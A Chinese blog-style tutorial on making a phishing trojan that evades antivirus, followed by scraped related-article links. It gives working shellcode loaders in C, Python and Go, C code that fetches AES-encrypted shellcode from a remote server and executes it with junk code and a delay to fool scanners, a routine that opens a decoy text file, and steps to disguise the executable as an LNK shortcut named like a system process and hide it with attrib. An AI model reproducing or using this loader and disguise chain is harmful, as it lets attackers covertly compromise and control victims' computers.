0x01 写在前面

其实去年已经写过类似的文章,但是久没用了,难免有些生疏。所谓温故而知新,因此再详细的记录一下,一方面可以给各位看官做个分享,另一方面等到用时也不至于出现临阵磨枪的尴尬场面。

0x02 附件携马

利用伪造的电邮,在附件中携带木马病毒,如word宏病毒,lnk快捷方式木马,或是捆绑在正常程序中的木马,发送给受害者,使木马成功上线的方式。

然而真实环境中,大多数目标主机上面都安装了杀毒软件,因此本文我们重点不在于如何给受害者发送一封钓鱼邮件,而是用粗略浅显的方法来实现钓鱼木马的免杀。

0x03 如何免杀

在了解免杀之前,我们必须先掌握两个概念,shellcode与shellcode loader。

1) 什么是shellcode?

百度百科这样解释道:shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。

翻译成人话就是:shellcode是一段执行某些动作的机器码。

2)什么是机器码?

百度百科:计算机直接使用的程序语言,其语句就是机器指令码,机器指令码是用于指挥计算机应做的操作和操作数地址的一组二进制数。机器指令码在计算机中通常被称为代码。

人话就是:计算机的机器指令码。

3)何为shellcode loader?

为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shellcode loader。不同语言loader的写法不同。

c/c++

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\......";void main()
{LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (Memory == NULL) { return; }memcpy(Memory, shellcode, sizeof(shellcode));((void(*)())Memory)();
}

Python

import ctypesshellcode = bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......")ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

Golang

package loaderimport ("syscall""unsafe"
)var (proc42526789738d uintptr
)const (PAGE_EXECUTE_READWRITE = 0x40
)func Init() error {modKernel32, err := syscall.LoadLibrary(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l',}))if err != nil {return err}proc42526789738d, err = syscall.GetProcAddress(modKernel32, string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't',}))if err != nil {return err}return nil
}func X(buf []byte) {var dwOldPerm uint32syscall.Syscall6(proc42526789738d,4,uintptr(unsafe.Pointer(&buf[0])),uintptr(len(buf)),uintptr(PAGE_EXECUTE_READWRITE),uintptr(unsafe.Pointer(&dwOldPerm)),0, 0,)syscall.Syscall(uintptr(unsafe.Pointer(&buf[0])),0, 0, 0, 0,)
}

本文采用c/c++方式来实现shellcode加载。

4)免杀原理

目前常见的防病毒软件,是基于三种模式来进行查杀。一是基于特征,二是基于行为,三是基于云查杀。云查杀其实也是特征查杀。

基于特征的查杀,我们使用各种编码与加密的方式+CobaltStrike自身的管道通信模式+shellcode不落地可以绕过。

基于行为的查杀,利用CobaltStrike的管道通信模式+花指令思维会有奇效,翻译成人话就是在loader中加入正常执行的代码,让exe本身具有正常的行为,来扰乱AV分析。

主要思路

  • shellcode字符串不做硬编码。人话是shellcode不写死在loader代码中。 (特征查杀)
  • 原始shellcode字符串加密。(特征查杀)
  • 添加干扰代码扰乱AV分析。(行为查杀)

CobaltStrike独特的管道通信模式使我们浅显的免杀方式成为了可能。

0x04 代码分析

我们采用shellcode不落地(远端httpserver)的方式,来实现shellcode不做硬编码,并且采用aes对称加密算法对原始shellcode进行加密。
在主函数中,将shellcode下载回来并解密:

//远程获取加密shellcodechar buf[BUF_SIZE] = { 0 };char url[MAX_PATH] = "http://x.x.x.x/shellcode";GetInterNetURLText(url, buf);
//解密shellcodestring strbuf = DecryptionAES(buf);

添加干扰代码,并执行shellcode:

    //干扰代码char buff[BUF_SIZE] = { 0 };for (int i = 0; i < strbuf.length(); i++)buff<i> = strbuf<i>;string aliword = base64_encode(word, 10);char *p = buff;//shellcode处理unsigned char* shellcode = (unsigned char*)calloc(strlen(buff) / 2, sizeof(unsigned char));for (size_t i = 0; i < strlen(buff) / 2; i++) {sscanf(p, "%2hhx", &shellcode<i>);p += 2;}string aliaesword = EncryptionAES(aliword);//干扰代码void *run = VirtualAlloc(0, strlen(buff) / 2, MEM_COMMIT, PAGE_READWRITE);memcpy(run, shellcode, strlen(buff) / 2); //创建可读可写内存if (aliword != strword)DecryptionAES(aliaesword); //干扰代码VirtualProtect(run, strlen(buff) / 2, PAGE_EXECUTE, &dwOldProtect); //内存添加可执行权限Sleep(2000); //延迟2S,躲避杀软查杀((void(*)())run)(); //执行

0x05 具体实现

到这里我们只是初步完成了exe的免杀,但这还远远不够,直接发exe容易引起目标警觉,我们还需要稍加伪装!本文采用lnk方式来伪装木马。

lnk

什么是lnk?百度百科这样解释道:lnk文件是用于指向其他文件的一种文件。 这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。

有了lnk,我们只需要将lnk指向我们的木马文件,利用木马文件打开伪装的正常文件,然后再悄无声息地控制目标机器,简单的免杀钓鱼木马就可以实现。

实现步骤

首先我们需要根据目标的喜好、职业等因素,来伪装我们的附件,比如这样:

然后我们需要引导目标来点击我们的lnk文件,比如在压缩包中添加使用说明文档,内容可以自行发挥。在代码中,我们需要先将文档导入,当目标点击lnk文件时,先启动文档,再执行shellcode,避免目标起疑:

BOOL ReleaseLibrary(UINT uResourceId, CHAR* szResourceType, CHAR* szFileName)
{// 找到资源HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(uResourceId), szResourceType);// 获取资源大小DWORD dwSize = SizeofResource(NULL, hRsrc);// 载入资源HGLOBAL hGlobal = LoadResource(NULL, hRsrc);// 锁定资源,并返回指向资源第一字节的指针LPVOID lpRes = LockResource(hGlobal);HANDLE hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);DWORD dwWriten = 0;BOOL bRes = WriteFile(hFile, lpRes, dwSize, &dwWriten, NULL);CloseHandle(hFile);CloseHandle(hGlobal);CloseHandle(hRsrc);return TRUE;
}
void main()
{......BOOL bRes = ReleaseLibrary(IDR_TESTTXT1, (CHAR*)"TESTTXT", (CHAR*)"使用须知.txt"); //生成伪装文件ShellExecute(NULL, "open", "使用须知.txt", NULL, NULL, SW_SHOW); //打开伪装文件迷惑目标......
}

Ok,接下来,我们编译出exe,将其放在附件里一个隐秘的文件夹中,并且伪装成系统进行名,混淆视听:

然后,我们新建lnk,指向我们的木马exe程序,并且将图标修改为文本文档图标:

最后,我们用attrib命令,将我们的木马与伪造的使用须知文档隐藏:

attrib csrss.exe +s +h
attrib 使用须知.txt +s +h


这时候,即使开启了显示隐藏文件,或者使用dir命令,都无法发现我们的木马文件:


OK,到这里,我们的免杀钓鱼木马就制作完成了。

0x06 效果检验

附件携马之CS免杀shellcode过国内主流杀软相关推荐

  1. 网络安全进阶篇之免杀(十四章-5) Golang加载器CS免杀国内主流杀软

    文章目录 一. 概念 1.1 360 安全卫士和 360 杀毒 1.2 Golang 二.前期准备 2.1 下载地址 三.具体过程 3.1 使用CS生成payload 3.2 免杀过程 3.3 测试 ...

  2. 免杀方法(十)GO免杀shellcode加载器 — go-shellcode-loader​

    项目作者:HZzz 项目地址:https://github.com/HZzz2/go-shellcode-loader 一.工具介绍 GO混淆免杀shellcode加载器AES加密,混淆反检测 过DF ...

  3. ShellCode_Loader - MsfCobaltStrike免杀ShellCode加载器加密工具

    ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具 文章目录 ShellCode_Loader - Msf&Cobal ...

  4. cs免杀之基于混淆和加壳

    写在前面 最近也是没什么状态以及被身边人,事,物所受影响,环境对自己的影响也是非常大,但是随着时间的变化一切也都会改变,离群所居者,不是神灵,就是野兽,所以说需要脱离这种状态,找到自己人生中明确的方向 ...

  5. 2017php免杀大马,cs 免杀 payload 绕过 360 全家桶

    文章来源于叮咚实验室 作者:吃个橘子 实验环境: Win10 物理机(cs 服务端)Win7 虚拟机(360 安全卫士+360 杀毒全家桶 最新版) 准备材料:vs2017 ,cs 我们先用CS生成普 ...

  6. 免杀方法(四)Python免杀shellcode加载器

    项目作者:HZzz2 项目地址:https://github.com/HZzz2/python-shellcode-loader 一.工具介绍 免杀方式 msfvenom生成raw格式的shellco ...

  7. Python shellcode免杀

    浅谈Python shellcode免杀 一.前言 在安全厂商日趋成熟的背景下,编写免杀马的难度和成本日益增长.很多师傅好用的开源免杀项目公布出来的同时几乎也就意味它的失效,对于一些和我一样对系统底 ...

  8. 远控免杀专题(29)-C#加载shellcode免杀-5种方式(VT免杀率8-70)

    0x00 免杀能力一览表 几点说明: 1.表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass. 2.为了更好的对比效果,大部分测试payload均使用msf的windows/mete ...

  9. shellcode免杀框架内附SysWhispers2_x86直接系统调用

    1.概述 之前分析CS4的stage时,有老哥让我写下CS免杀上线方面知识,遂介绍之前所写shellcode框架,该框架的shellcode执行部分利用系统特性和直接系统调用(Direct Syste ...

最新文章

  1. R语言把dataframe中的NA值替换为0
  2. dcf是ea211发动机吗_大众有的车怎么把ea211换成dcf了?
  3. 什么是RestTemplate
  4. java解析静态AIS原始数据
  5. Dalvik/ART(ANDROID)中的多线程机制(3)
  6. Linux cat命令:连接文件并打印输出到标准输出设备
  7. mysql+性能优化+命令_MySQL 性能优化及常用命令
  8. mysql存储过程实验几轮_想问下数据库中有关存储过程的实验,求大神!
  9. android gif转jpg格式文件,android使用多张图片合成gif文件
  10. 小鹏NGP自动导航辅助驾驶Beta版体验:论软件,这台量产车可能是第一
  11. Eclipse自定义文档注释和方法注释
  12. 记录:添加trace_event埋点并调用
  13. 打印101-150之间的质数
  14. PID参数整定——Z-N方法
  15. [SharePoint教程系列]安装之后的常见操作 如何打开管理中心
  16. 《孤独的青春创造不孤独的人生》
  17. 机器学习 (三) k-近邻算法应用-约会网站匹配系统
  18. 洲际酒店集团发布全新奢华精选品牌;凯悦27亿美元收购奢华酒店运营集团ALG | 美通社头条...
  19. qq邮件如何设置html阅读,如何得知对方是否已阅读QQ邮件?
  20. 查看oracle负载过大的原因,Oracle备份时系统负载过高导致ORA-3136错误和AIX系统的3D32B80D错误...

热门文章

  1. Druid加载(load data)HDFS文件数据
  2. AWS架构师认证有什么用?考试难吗?
  3. 公考二十四节气考点汇总
  4. java listener 模式_Java和GUI-根据MVC模式,ActionListener属于哪里?
  5. python _foo __foo
  6. 从零搭建Spring Boot脚手架(2):增加通用的功能(转载)
  7. 微信小程序开发实战(12):滑杆组件(slider)和form组件
  8. MOSFET, MOS管, 开关管笔记
  9. 解决Windows server 2003不认U盘
  10. Python--基础语法知识